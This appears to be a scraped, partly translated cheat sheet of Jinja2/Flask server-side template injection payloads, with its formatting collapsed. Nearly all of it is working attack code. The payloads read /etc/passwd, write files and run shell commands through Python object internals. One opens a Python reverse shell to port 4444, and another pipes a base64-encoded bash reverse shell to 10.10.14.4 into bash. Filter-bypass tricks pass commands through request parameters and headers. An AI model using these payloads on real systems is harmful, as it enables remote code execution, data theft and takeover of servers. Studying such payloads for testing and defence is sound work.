{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
远程代码执行(RCE)
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div># Calling os.popen without guessing the index of the class{%for x in ().__class__.__base__.__subclasses__()%}{%if"warning"in x.__name__%}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{%for x in ().__class__.__base__.__subclasses__()%}{%if"warning"in x.__name__%}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_#Formatting the string from get params## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{%witha=request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %}a{%endwith%}
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
一旦找到了一些函数,您可以使用以下方法恢复内置函数:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{%with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]()%}{{ a }}{% endwith %}## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid